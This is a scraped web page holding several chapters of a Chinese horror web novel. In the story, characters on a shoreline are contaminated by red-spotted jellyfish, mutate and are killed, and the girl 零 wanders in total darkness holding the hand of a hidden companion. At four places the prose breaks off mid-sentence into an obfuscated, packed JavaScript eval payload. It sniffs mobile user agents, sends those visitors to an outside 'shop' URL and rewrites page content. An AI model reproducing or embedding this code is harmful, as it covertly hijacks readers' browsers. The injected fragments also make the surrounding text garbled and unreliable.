这只带着许多红色斑点的流光水母,在彭雨脚下的水域长大了,彭雨看见了,也只有站在这个位置的他看见了。 但是彭雨什么都没说,他只是继续看向脚下的其他胚珠,一只六眼石蟹从礁石边缘爬过,从他的视野经过。 林隐说:“不要逗留,现在立刻返回。” 零听到指令后,不假思索地转身,离开,只是她的心跳越来越快,“砰咚、砰咚、砰咚……” “彭雨?你怎么还不走?” 零和林隐距离比较近,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127671|196162||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听见林隐的声音,下意识地就回头看向彭雨,彭雨也在这个时候抬头看过来,零看到他的脸后,揉了揉自己眼睛,她觉得是自己看错了。 林隐在看到彭雨的脸后,几乎是前一句话音未落,立刻喊道:“往岸上走!不要回头!” 除了零,其他人都还没看过来,听见林隐的喊话后更是不敢回头,径直向岸上走。 零一时间没反应过来。 彭雨的脸上,为什么长满了眼睛? 额头上有五只,太阳穴有两只,脸上,鼻子上,下巴上……彭雨张开了嘴,连舌头上都是几只眼睛,啊,脖子上也是吗…… 这些眼珠子仿佛各有想法,朝着不同方位滴溜溜地转,其中就有几只和零对上了视线,不能再看了…… 零僵硬地扭过了头,她觉得脑瓜子嗡嗡的,虽然不至于变成彭雨的样子,但她知道自己多少也被污染了。 这就是污染吗?真的如林隐所说,毫不重复,毫无征兆。 到底是哪里出了问题? 林隐避免了和彭雨对视,也没有把视线投入他之前所看的方向,她在将刀刺入彭雨心脏前,尝试和他进行最后的沟通:“彭雨,你还有意识吗?你经历了什么?” 彭雨的眼睛已经长满了全身。 他的后颈上也是密密麻麻的眼睛,这些眼睛正看着空中那只有着红色斑点的流光水母。 而这一切的开始,只是因为他看见六眼石蟹后凭空出现了一个念头:如果他也是这样,就可以看到所有方向了。 彭雨已经停止了思考,但他本能地回复林隐:“社……长……收……到……” 林隐毫不犹豫地将唐刀刺进彭雨心脏。 “砰!” 彭雨被杀死了,不对,这枪声不是林隐发出的,零往前方看去,程橙正在射击,而她瞄准的是彭雨身后,她在射击什么? 林隐朝着岸上喊:“程橙!转过去!停止射击!” 不过来不及了,在所有人背对东海远离的时候,她已经看到了,那红斑点的流光水母,正在彭雨的背后悠闲地飘摇。 程橙大声地汇报:“目标是一只红斑点流光水母!正常大小!中弹后没有死亡!” “没有死亡——”“死亡——” 她的声音重叠回荡,因为世界上凭空多出了两个程橙,几乎就在眨眼间,又多了两个,所有程橙都举着枪朝着红斑点流光水母瞄准。 下一刻,零看到程橙们的枪口对准了自己。 此时云怀舟背后陆教授的背包里,全频段侦查接收机发出了滋滋的电流声,他察觉到后立刻取下了背包寻找,没有时间破坏了,他使出全力将全频段侦查接收机扔向远处。 在空中,一道声音传出来。 “妈妈——” “砰!”“砰!”“砰!”“砰!”“砰!” 零很想逃离,但是她的脑海里全是自己的心跳声,砰咚砰咚的节奏中她短暂地失去了对自己身体的控制,要死在程橙的枪下了吗? 12. 带来光与热 9 一只冰凉有力的手抓住了零的手臂,她被扯开了,子弹几乎从她的脸颊擦过,空气被撕扯出裂隙,风鸣在耳。 零撞入了一个有着清冽气息的怀抱,下一秒,林隐拉着她往岸上跑。 “小同学,别找死。” 是一句话带着嫌弃和调侃的话,零知道是自己掉了链子,她乖乖地以“嗯”作为回复。 程橙们还在朝着红斑点流光水母射击,它躲到零和林隐的身后时,程橙也会毫不犹豫地朝着她们开枪,现在她满脑子只有杀了污染生物一个念头。 林隐带着零往岸上跑的时候,还要注意脚下的潮池和来自程橙的子弹,短短十米的距离却走得格外漫长。 她对其他已经上岸的人喊:“控制住程橙!” 所有人都听见了,但是目前没有一个人行动,程橙手里有枪,而他们手无寸铁。 经过一番考虑后,云怀舟行动了,他低头绕到程橙本体的身后,趁着她眼里只有目标,他举起一块石头砸向程橙的脑袋。这是他和零学的,不过这招对付程橙不太奏效。 程橙没有昏迷,她停止了射击,在她的后脑勺原本是头发的地方长出了一张人脸,程橙的背后也长出一双手,手上凭空出现的枪已经对准了云怀舟的心脏。 “不要……妨碍我……” “砰!” 子弹射歪了,王建一拳打飞了程橙手中的枪。 不到两秒,这双手上又出现了枪。 “这玩个锤子!”王建咆哮着禁锢住了程橙,他左臂盘绕上程橙的脖颈,右手瞬间扣紧左腕,完成了裸绞的姿势。 程橙被勒得喘不过气,于是下一刻,她的手上长出了几张嘴,每张嘴都张大到了极致,每张嘴都奋力地呼吸着,得到了缓解的程橙反手将枪口对准了王建的头。 这一切发生得突然,“老子要杀人了!”王建喊话的同时下了死手,程橙的脖颈被立刻绞断,她的四只手都无力地垂了下去。 紧接着,两支枪的枪口都对准了王建。 “小心!” “砰砰!” 王建来不及闪避,他的肩膀和喉管中弹了。 他狠狠地瞪了云怀舟一眼,“老子不欠你了!”破损的喉管没有把这句话的声音完整传递出来,王建使出最后的力气扑向这两个程橙,子弹再次穿透他的身躯,他也将这两个程橙砸得头破血流。 作为复制体,她们没有本体那么强大的异化能力,受到这么猛烈的攻击后就失去了反抗。 最后王建一只手臂禁锢一个,但已经没有力气杀死她们了。 岳燃早就捡起了之前王建砸飞的枪,他瞄准了程橙,但是手一直颤抖着,不论怎么劝说自己也下不了手。 王建很想催他快动手,但他说不出话来,只能看着自己的生命流失到尽头。 最后是云怀舟从程橙本体手中取过了枪,他靠近后拿枪抵着两个复制体的太阳穴扣下扳机。血溅得王建满脸都是,他最后神情复杂地看了云怀舟一眼,不甘又安心地,呼吸停止了。 只剩下两个程橙了,林隐带着零躲避的压力骤减,但是她很快意识到了一个问题:程橙们几乎一直在朝着她们开枪,这说明流光水母一直跟着她们,如果她们回到岸上,流光水母也会跟过来,她杀人的时候,其他人很可能被污染。 林隐心里有了主意,她一边在心底牢记最后两个程橙的位置,一边对零说:“等会上岸了,你自己选个方向逃跑,等我消息。” 从最后一块礁石上跳下后,林隐松开了零,她发出指令:“所有人背对我们!闭眼!” 与此同时,整个世界都陷入了黑暗。 但这是不应该的,林隐并没有闭眼,她愣了一秒确认自己眼睛是睁开的,但是她什么都看不到了。 “砰砰”的枪声继续响着。 先完成任务要紧,林隐在心里勾勒记住的地图,接着以最快的速度飞掠到程橙复制体身前,手起刀落,她精准地砍下了两个复制体的头颅。 “零,可以停下来了。”说完,她接着问:“你们小心点睁开眼,能不能看到东西?” 零得到通知后停了下来,她将眼皮稍稍拉开一条缝,但是什么都没有看见,接着她胆大地把眼睛完全睁开了,还是什么都看不到,转了一圈后,依旧无果。 她听见云怀舟说:“看不到任何东西,你们也是吗?” 零跟着其他人一起附和。 这不像夜晚突然降临,因为夜晚是能看见光的,现在的状况更像是眼睛瞎了,或者说全世界的光都消失了,但是比起后者,前者的可能更高一点。 零又听见云怀舟在说话,她循着声音向他移动。 “这应该也是污染,是……” 他的声音戛然而止。 零有点担心,她出声询问:“云怀舟?” “……” 零陷入了沉默,她发现她连自己的声音也听不到了。 最后她不死心地又继续尝试:“林社长,岳老师,你们能听到我说话吗?” 回应她的只有绝对的寂静。 这是一个完全黑暗,完全静默的世界,这让零想到了自己的诞生之地,明明该害怕的时候,她意外地感到了几分怀念。 这么冷静,是因为她摄入了微量镇静成分吗?还挺有用的…… 零摸了摸自己的脸,还好触觉还在,按照记忆中大家的方位过去,应该能够触碰到大家,只要大家手拉着手,就不会走丢了,至于其他的,等大家汇合了再说吧。 零开始朝着左边移动,但是她走了有一会,依旧没有碰到任何东西。 难道是她走错了方向吗?可是,她记得很清楚,自己之前是在朝右边逃跑,而云怀舟和程橙他们的确是在左边…… 对了,还有一个可能,他们也移动了位置。 是啊,她能够想到移动,那么大家肯定也不会站在原地什么都不做。只是这下更复杂了,大家到底在哪里?她已经完全没了头绪。 就在零陷入迷茫的时候,她感到手背被什么东西蹭了蹭。 这是……流光水母?

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127672|196162||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 原本零还挺喜欢它们的,看着它们在海上漂浮,美丽的色彩,轻盈的姿态,这些都让零心生好感。 可是在经历了身边人接连死去的现实后,她对流光水母再也喜欢不起来了。 甚至,她感到厌恶的情绪。 零一把抓住了这只待在她手边的水母,她手上用劲想把这个水母掐死,哪怕她被水母蛰得手发疼,但是她不想松手,真正令她松手的,是那个游戏任务。 “为流光水母带来生命”,她突然想到了这句话,如果她杀死了这只水母,会不会被判定为“夺走了它的生命”?这样游戏任务会不会无法完成? 想杀它,又拿它没有办法,零第一次感到这么无力。 最后人类的理智还是占据了上风,就在这只水母被零掐得濒死,连触手都不再挣扎着蛰她的时候,零一把将它扔远了。 这样做了之后,零感到几分解气,她觉得自己的呼吸都通畅了不少,心脏的跳动也更自在了。 不过,这样还是无法解决核心问题,她找不到同伴了。 零完全伸展开双臂,以一个略显夸张的姿势移动,她两只手都在挥动着,希望增加碰到同伴概率。 不过同伴没有碰到,她碰到了许多流光水母,这些水母不像第一只那样亲近人,它们一上来就要蛰零。 零缩回了自己的手,小心地躲避这些水母。 其他人应该也是为了逃离这些水母所以离开了吧? 零什么都看不见,她不知道流光水母在哪里,她有时候待的位置很安全,但没等她多停留,就有水母漂浮到她身边,有时候她运气又很差,躲避水母的时候,能够直接扎进水母群。 流光水母越来越多,这说明之前倒进东海的休眠胚珠成熟得越来越多了。 零只希望它们快点生长,如果倒进东海的胚珠就是所有的胚珠那就更好了,游戏任务结束,她是不是就可以离开这里,恢复正常? 看不见东西,听不见声音,这些都会模糊一个人的时间概念。零不知道自己一个人游荡了多久,她对人类划分的时间还不太熟悉,她只觉得走得很艰难,走了很久,可能有半个小时了。 一只手触碰到了零的手臂,零先是本能地往后退缩,接着她感到喜悦的情绪充满了内心。 这只手最初也被零吓到了,但接着它往下摸索试探,最后握住了零的手。 零感知到这是一只男人的手,它很修长,骨架也大,触感并不粗糙,应该是年轻男人的手,答案很明显了,是云怀舟! “云怀舟!终于找到你了!” 零喊出了这句话,虽然没有什么必要,因为就连她自己都听不到自己的声音。可是越是听不到声音的时候,她反而越想大声说话。 因为这个人是云怀舟,所以零格外得安心,这是她遇见的第一个好心人,不过如果是林隐,她应该会更安心吧,毕竟她是那样厉害。 如果还可以说话沟通,零很想问问云怀舟接下来怎么行动,但现在的情况是,云怀舟拉住她之后就没有了动作。 13. 带来光与热 10 零感到周边的流光水母又变多了,她主动拉着身边人向前走,这样总比停在原地被蛰好,云怀舟应该也赞同她的决定,被她拉着走了两步之后,他走得更主动了。 有人同行,这条未知的路都不再那么难熬。 零的脚踢到了什么东西。 原本柔软的触感一下子变硬了,甚至快要刺破她的鞋子,握着她的手也一瞬间捏紧了,看来云怀舟也和她遇到了一样的东西,荆棘海葵。 这个可不能硬碰硬,零快速向后撤退。 退了几步,她的后背贴上了一面墙。 一面墙……为什么海边会有墙这种东西?她记得之前从雨林出来,并没有看到周围有什么建筑,难道她已经走了这么远了吗? 零想要转过身去摸索,试试能不能进到房间里面,这样就需要暂时松开云怀舟的手,可是云怀舟把她的手握得很紧,完全是不想松开的样子,零想,应该是他担心他们再次分开。 既然如此,那就背靠着墙摸索吧。 零带着云怀舟向右侧移动,这面墙很平整,很快她摸到了棱角,看来走到这面墙的尽头该转弯了。 从这个方位移动到另一个方位,继续向前,也许很快就能找到门,如果里面有人就好了,希望房主人没有被影响,如果其他同伴更早进入了里面,那就更好了。 零摸到了门的边框,然后是门把手。 在她很想直接使用把手的时候,她突然回忆起人类的常识,不能直接开别人家的门,而且门通常有锁,想开也开不了,于是零叩了叩门扉。 她听不见自己叩门的声音,如果房主人也听不到,那就难办了。 门开了。 但门是什么时候开的,零完全不知道,当她想要再次叩门的时候,她的手没有碰到任何东西,这时她才后知后觉门开了。 这说明房主人能听到声音。 此时零反而觉得更加为难了,她要和陌生人交涉了,该怎么说,怎么说才能让对方不觉得他们有问题,并且愿意接纳他们。 “你好,我们是和物种与异常调查社一起行动的人,目前遇到了一些困难,暂时失去了视觉听觉,请问可以帮助我们和调查社成员吗?感激不尽。” 零是这样说的,如果要追究她为什么能这么说,可能是原身的记忆发力了。 没有反馈。 零伸出右手,“我听不到你说话,如果方便的话,你可以触碰我的手。” 也没有人同她接触。 难道里面没有人?还是说房主人不想同她接触?零甚至有想到房主人手臂截肢了没有办法伸手……总之,这个房子看起来有点奇怪,但是一想到不远处的荆棘海葵可能正在靠近,零说:“抱歉,我们要进来了。” 她拉着云怀舟踏进房间里面,在这个过程中,没有人进行阻拦。 进来之后,零想到要把门关上,如果荆棘海葵进来了,那他们真的就无处可逃了,不过在零去关门的时候,她发现门已经关上了,应该是云怀舟关的,他们想到一处去了。 终于可以松一口气了。 零没有想着去探索这个房间,只要待在原地不动,应该就不会有危险——在她感觉到脖颈处有热风吹过之前,她都是这么想的。 这是什么奇怪的感受? 就像有一个人在她脖子后面吹气,可是她可以确认,她的后背到门的距离站不下一个人。门也关上了,不会是自然界的暖风。这就是人类所说的闹鬼了吗? 所以说,这个房间没有房主人,只有房主鬼,如果是这样,之前的奇怪竟然都可以解释了。 没关系的,区区鬼屋,零不怕鬼。 但是左手却传来了颤抖的动静,是云怀舟在害怕吗? 想不到平常总是一副冷静模样的他,内心也会感到害怕,尤其是害怕鬼魂,难怪这一路他只是被动地跟着她走,要不是特征太明显,其他人都被排除了,她都要怀疑这个人是不是云怀舟了。 人类就是这样的,你不能只从一个人表现的样子来判断他的内心,零在心底拿小本本记下了这个规则。 她说了一些没用的话:“别怕,我会保护你的。” 就像云怀舟曾经站在她的身前,她也会在他需要帮助的时候支持他。零稍微用力地握了握左手,想通过触感把她的决心传递给身侧。 也许她的做法是对的,云怀舟的状态稍微稳定了些许,起码手抖得没那么严重了。 可能是鬼魂看见她反应很平淡,接下来它都没有再出现过,零拉着云怀舟度过了一段相对平静的时光。 “嘀嗒、嘀嗒。”有什么液体滴到了零的头顶和肩膀。 前面两滴是冷的,后面的都变得热起来了。 零带着云怀舟挪动了位置,他们靠着门,这样液体就没有再滴到他们身上。 不过接着出现异常的就是门,这扇门带给零的触感改变了,最初她觉得像印象里的果冻,又滑又弹,让零意外的是,这触感竟然会临时变动,它变得湿漉漉的,热腾腾的,零感觉自己把手放在门上,就像伸进了一个人的血肉之躯里面。 零收回了手,她带着云怀舟再次改变了位置,这次他们站在了离门一段距离,又不会被液体滴到的空地。 她的脑子需要时间处理这些信息。 所以这些又是什么?知识库里完全没有这种东西。 这已经不是单纯的闹鬼了,从他们看不见听不见开始,整片地区都在被污染,包括现在,头顶滴落的粘稠液体也越来越多,整个房间都被热浪充斥。 不能再停留了! 零拉着云怀舟回到门口,她心一横伸手去摸把手,不过把手没有摸到,她摸到了一手环节状的虫子,它们蠕动着往她手上攀爬,柔韧又充满肉感。 零的心跳都停了一拍,和这个比起来,只会吹气的鬼魂真的一点都不吓人! 零使劲地甩了甩手,她直接上脚去踹这个门,踹到门的触感也是那么柔软,仿佛在说不要挣扎了,不会让你出去的。可是没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127673|196162||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 办法了,现在只能拼尽全力把门打开出去,不然真的会被这个房子吃掉! 云怀舟可能也感到了这里的异常,他现在两只手抓得零手都生疼,零来不及安慰他,她直接把云怀舟拽到自己身后,用行动表示她会挡在他的身前。 零已经做好了面对任何未知的准备,包括最坏的未来。 但是事情却在向好的方向转换。 云怀舟战胜了恐惧来到她的身侧和她一起面对,毫无希望打开的门也被成功踹开了,她直接拉着云怀舟就跑出了房间,朝着记忆里与荆棘海葵相反的方向奔跑。 接下来的路,他们走得意外顺畅。 没有什么难以理解的存在挡路,没有流光水母和荆棘海葵,什么也没有,只有紧握的双手证明着彼此的存在。 顺畅得像假的一样,可是这里发生的一切本身就比虚妄更加虚妄。 彻底平静下来后,零开始思考那些她不曾细想的事情。 明明所有被污染的人都被杀死了,为什么还会发生这些事?云怀舟之前说这应该也是污染,难道从看不见开始,这些异常都是那只红斑点流光水母造成的吗? 所以它不只可以污染人类,也可以直接影响世界?难道游戏的真正目的是借他们的手毁灭世界? 零对污染本身了解不多,她不能得出结论。 不过除了上面的假设,她还有一个猜测,从最初的一点怀疑,到越来越多的不解,她好像可以确定,她牵着的人不是云怀舟,并且她遇到的这些情况,可能都和这个人有关。 她实在无法相信,这个之前害怕地用两只手都抓着她的人,会是在紧急关头也下意识地只用手背捂住她嘴的云怀舟。 那么他是谁呢? 她因为年纪排除了岳燃,并且岳燃不会这么胆怯,她因为这个人行动自如排除了郑一念,郑一念失去了一条腿,云怀舟也被排除了,难道这个人不是她所认识的人? 还是说因为污染,她用来排除人的这些理由都变得没有意义了? 其实有一个最简单的方法可以确认。 零在心里回忆文字的书写方式,她将左手从身边人的手心抽开,然后抬起他的手,她想要写下“你是谁”几个字。 这个人明显很不情愿,格外抗拒零这么做,就在零把右手食指点在他的手心时,他的手颤抖得太剧烈了。 零脑海里闪过白光,她已经知道了这个人是谁,她也知道了这个人为什么会害怕。 她知道自己不应该继续刺激他,但她还是坚持在他手中写下了几个字,只是内容改变了。 “别怕。” 这两个字的确抚平了这个人的情绪,他变得冷静多了,手也不再颤抖。不过也仅仅如此,这个人并没有继续和她沟通的意愿。 如果她的猜测是对的,那么这一切并非无解,可是目前这个情况,她仍然看不到转机。 总之继续向前走吧,只有这件事是可以确定的。 零重新拉上了他的手。 14. 带来光与热 11 绝对的黑暗中,遥远的地方亮起了火光。 零没有第一时间看到,因为那道光在她的身后,是身边人扯了扯她的手,她转过头才看见。太遥远了,她只能看到比星星还要小的火焰,但是行走在寂静无光的原野,任何火花都是耀眼的奇迹。 他们终于见到希望了。 “举火者,遗言二:由我带来光。” 是岳燃用游戏赋予的特殊能力抵抗着污染带来的绝对黑暗。 可是,岳燃会死。 难道这希望比生命还要珍贵吗?岳燃能照亮前路吗?他能带着我们走到有光的地方吗? 零不由得想到了自己,如果她是岳燃,她一定不会使用能力。就算永远也看不到,难道人不能在黑暗中生存吗?她曾是青苔的时候就生长在黑暗,成为了人,她还是可以接受在黑暗中生存。 不过,走吧,不要浪费他的好意,去找大家汇合。 零略微感慨了一下,然后毫不犹豫地转身朝火光迈出脚步。 此时,一直被紧握的左手被完全放开了。 零愣住了,下一秒她想清楚了缘由,由此她也想明白了这个人对她的善意。 零试探着找到了他的手,她在上面写下这句话:“一起走吧,也许有希望。” 她没有直白地说出一切,但是她想,这个人应该会懂。如果他实在不愿意,那就算了,她会自己一个人往前走。 良久的沉默过后,他在零的手心写下了两个字。 “谢谢。” 他的手指微动,他似乎还想要写下什么,但是最后什么也没写,零没有多想,她再次拉起了这个人的手。 他们几乎是同时迈出步伐,这次不再是谁牵着谁走,两个人并排走着,朝着小小的火光。 追上岳燃并不是那么简单,在零走向岳燃的时候,岳燃也在向前走,他没有在原地等待其他人,他只是提供了一个方向。 于是零加快了脚步,大约又过了半个小时,零和岳燃的距离才被拉进,现在她距离岳燃只有不到十米了。 原来岳燃的光什么也照亮不了,在他的四周没有任何东西因此显出轮廓,世界还处在绝对黑暗中,零所看见的只有一道人形的火光,那不是他举着的火焰,而是他的生命之火。 也许大家都已经来到岳燃的身边了,但是人与人并不能看见彼此,所有人只是沉默地走着。 也许会有人唱歌吧?但歌声也无法传递。 多么疲劳的苦旅。 零的脚很痛,今天已经走了太久,每一步都像是踩着碎石子前进,如果只有她一个人,她一定会坐下来休息,但是那道光引领着她,她牵着身边人,她只能继续。 直到岳燃的火焰都要熄灭了,他们还是没有走到黑暗的尽头。 “祝福明日者,遗言一:我哭泣,我祝福。” 随着这声遗言的宣布,岳燃身上的光不再暗淡,它稳定了下来,以温暖又不灼人的强度,继续带领着所有人前进。 这是陈玲的能力,她好像可以帮到岳燃,真好。 不过,目前零还是看不到未来。如果他们是眼睛坏了,这样走要走到何时才能遇到人呢?如果是世界失去了光,那失去光的范围到底有多大呢?全世界都失去光了吗? 这条路有尽头吗? 大约是在零完全没有力气思考,只能凭着惯性继续向前行走的时候,身边人给她写下了一句话。他好像经过了很漫长的心理博弈,现在写的时候才这么流畅放松。 “我想送给你我的书。” 原来他是一个作家呀,难怪想象力那么丰富。零也准备给他写字回复。 这个时候,岳燃消失了。 正常的世界里,如果一个人失踪了,也许还不那么容易被发现,可是当世界唯一的光源凭空消失了,那太明显了。 零脑海里有几种可能性漂浮着,但是她已经没有精力去深入思考,她放弃了写什么,只是拉着身边人走得更快了。 仿佛从水下抬起头,这里就存在着如同水面一样清晰的边界。零越过了这道边界,就像终于离开了水下,她可以如获新生地呼吸了。 光和声音回来了。 外面的世界已经来到黄昏,光线并不刺眼,没有人说话,所以也没有声音刺激耳朵,只有世界轻微的噪音和她的呼吸声宣告着她能听见了。 零刚从短暂的“失焦”状态中回神,紧接着就听见了林隐的声音。 “接下来,自己的头会掉落。” 仿佛魔鬼的呓语,仿佛一个诅咒。 正常的人不会因为想象改变任何事物,而对被污染的人来说,每一次精神波动都心惊胆战。 左侧有什么东西掉落了,温热的液体喷了零一身,那只曾经不愿放开的手,第二次,也是最后一次放开了。 头颅滚落到地上,和她所猜测的一样,那是郑一念的。 失去头颅的身体不再支撑着站立,它倒了下去,那只手也从零的掌心滑落,零本能地想要握住它,但是没有握住。 林隐说:“看来他就是最后一个被污染的人。” 是啊,是郑一念,在大家都朝着岸上返回的时候,处在正对着东海方位的程橙看到了那只红斑点流光水母,和她一样的,郑一念也看到了。 那个时候,他们都被污染了。 只是程橙的异化更加明显且充满威胁,于是大家的注意都在她身上,而那个时候的郑一念,心里只是想着拥有健全的身体吧。 零看向地上郑一念的尸体,果然,他的腿已经恢复了。 程橙死后,所有的异常都是郑一念带来的,他的异化更加宏大也更加悄然。 当林隐让大家闭眼的时候,他因为害怕看见流光水母,于是光消失了,当云怀舟试图让大家寻找剩下被污染的人时,他害怕被同伴发现,于是声音消失了,与她同行时一路上天马行空般的阻碍,都是他抑制不住的恐惧幻想。 真是一个胆小的人啊。胆小到被自己的污染杀死了。 也真是一个善于观察身边的人啊。他总是默默观察着身边的一切,林鬼,没有走出洞穴的陆教授,也是他发现了在他们背后的火光。 他把火光告诉她的时候,松开她手的时候,在想什么呢? 明明那么害怕被发现,却愿意跟着她一起走。 虽然一切都是假的,苦难也是他带来的,但是她想要保护这个人的心情却是真的。 是她把郑一念带了出来,但是郑一念却什么都来不及说就死了。 可是零无法对林隐的行为表示不满,她只是做了以她的身份该做的事:果断地铲除被污染者,保护同伴。她已经洞察了这次污染的本质,解决问题又这么有针对性,在还没有汇合的漫漫长路,她一定把所有方案都考虑好了。 所以郑一念要生气的话,就生她的气吧。 她是一个骗子,希望是她的骗局。 零深深地呼吸,她不再看郑一念,将视线扫过周围,她看到了岳燃,或者说,那已经不是岳燃了。 陈玲身前的只是一个人形的苔藓火焰集合体。 他首先是黑色的苔藓,全身上下已经没有一块人类的皮肤,其次他燃烧着,哪怕是现在,他仍然发出火焰的光芒,他的脚步甚至还在向前迈进,但是陈玲抱住了他,他的火焰也没有伤害陈玲,他只是提供了一个方向。 陈玲的愿望与岳燃的愿望诞生出这样的结果。 面对这样的岳燃和陈玲,零再次感到了悲伤。 她近乎本能地不认可用生命举火,可是面对举火者,她能感到他的崇高。一块青苔竟然明白了什么是高尚,可是也仅此而已,比起崇高,她感到更多的是悲伤,难以丈量的悲伤,无法被时间冲淡的,反而历久弥深的悲伤。 林隐看清了岳燃的身体后感到了绝对的惊讶,她喃喃自语:“一类污染……” 零听到了,她问:“岳老师这样就是一类污染吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127674|196162||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 林隐这次不再卖关子,她说:“是的,你看郑一念的尸体,再回想陆教授和彭雨程橙,他们的尸体虽然不成人形,但都不是黑色苔藓。” 也就是说,尸体成为黑色苔藓,这就是一类污染,而其他的污染都是二类污染。 零还记得刚来这里时,身前的女孩尸体也是变成了黑色苔藓,一类污染黑色苔藓或许就象征着游戏中的死亡,而与二类污染有关的红斑点流光水母也和游戏息息相关。 这其中,究竟多少是游戏本身的设计呢?在他们为了生存逃亡的时候,神明是不是正看着这一切在发笑呢? 云怀舟一直看着陈玲,他手中的一叠纸巾根本没有机会递出。 零不再认为自己掌握了安慰人的技能,面对这样的情况,她发现自己什么也说不出来,能做的只有沉默。 零闭上了双眼,她正在听自己内心的声音。 她已经没有感到心脏的不适了,他们现在离那只红斑点流光水母应该很远,还有一道微不可闻的声音提醒她,这声音就像来自于她的血脉,来自于她的能力。 “吃下它吧。” 零睁开了眼睛,她走到了岳燃的身前。 陈玲抱着岳燃,她的脸埋在岳燃的背后,应该正在流泪。 岳燃因为这个怀抱和身后人的束缚,并没有离开原地。他的心口果然也有一朵花,橘红色的火炬花盛开在火焰不灭的黑色苔藓上。 零摘下这朵花塞进了嘴里,她咀嚼了几下然后再吞咽。 她得到了关于岳燃的信息。 “举火者,意志0,能力:火焰,特质:燃料。” “举火者必自焚,没有什么是比自己更合适的燃料。” 零感到内脏像被灼烧一样生疼,在这种持续性的灼烧中,她听到了岳燃的最后一个遗言。 “举火者,遗言三:薪火不灭。” 不,不是这个,这不是岳燃的遗言,这是游戏的挑衅。 岳燃的心愿究竟是多么深刻,以至于零的每一个细胞都在向她传达,都在催促她去做这一件事。 零深深地看向岳燃,此刻的他双腿不再向前迈出,身上的火焰也渐渐平息,他终于回归了宁静。 可就算是这样了,陈玲还是不愿意放开她的老师,零费了很大的劲才把陈玲拉开,她把陈玲揽在了自己怀里,像她学到的安慰姿势一样,一下又一下地轻拍着她的背。 零替岳燃说出了遗言:“不要忘记我们的约定。” 零不知道他们的约定是什么,但她知道这是岳燃给陈玲的希望。 陈玲终于哭出了声。 林隐花了会时间查看地图,她确认了现在的位置,然后对剩下的人说:“现在情况有变,我需要立刻去附近的基站联系调派人手过来控制污染,这个范围可能会超出游戏限定的最远距离,你们自行决定是否和我同行。” 要么留在这里,接着去找胚珠,要么和林隐一起去附近的基站。 这其实不是个困难的选择,他们能够走到现在,多亏了调查社的成员。甚至在他们的玩家陆教授牺牲后,他们仍然愿意帮助剩下的玩家完成任务,也是在这个过程中又牺牲了两个调查员。 林隐没有嫌弃他们,反而一直施以援手,这已经是最大的善意了。 零表达了自己愿意同行的意愿,云怀舟和已经缓过来的陈玲也是如此。 在离开前,零转过身看向来时的地方。 那是一个完全黑暗的领域,整片区域就像被一个巨型的黑色正方体笼罩了,多么突兀多么震撼,世界上凭空出现了这么一块无光之地,所有的光与声都被放逐了。 这个世界里容不下色彩与歌声。 但零的脑海里不自觉地为其赋予颜色,她仿佛能看到在里面漂浮的无数流光溢彩的水母。 “所有流光水母获得生命,游戏任务已完成,第一章《带来光与热》结束。” “希望是最沉重的欲望,不是吗?” 15. 家 零第一次觉得游戏里的声音也能带来好的心情,不是什么残酷的遗言,不是什么驱使人的任务,听到游戏结束的消息,她终于如释重负。 她把这消息告诉林隐:“游戏已经结束了。” 林隐的表情并没有多大变化,她说:“不幸中的万幸,接下来你们自由了,我们可以放心地去基站联络人,我会安排人把你们送回城里,所有遗体也会尽力回收。” 陈玲深深地朝林隐鞠了一躬:“谢谢您,林社长。” 幸存的四人踏上了去寻找基站的路。 零终于想到自己要面对的一个难题:她忘记了原主的社会关系,她没有地方可以回去。 林隐看见她表情有些凝重,她问:“你还有什么问题吗?” 零已经把林隐划分为可以信赖的人,她说:“我好像没有地方可以回去了。” 林隐对着零笑了笑,她邀请道:“那就跟我走吧,小同学。” 明明是傍晚,零却觉得有清晨的阳光伴随着林隐带笑的脸庞一起洒下,她的“嗯”字几乎要脱口而出,下一刻天旋地转。 只是眨眼之间,身边的一切都变了。 在一间普通的居室里,只剩下零和云怀舟两个人。 过去的一幕再次重复上演,两个人大眼瞪小眼,一起沉默着。 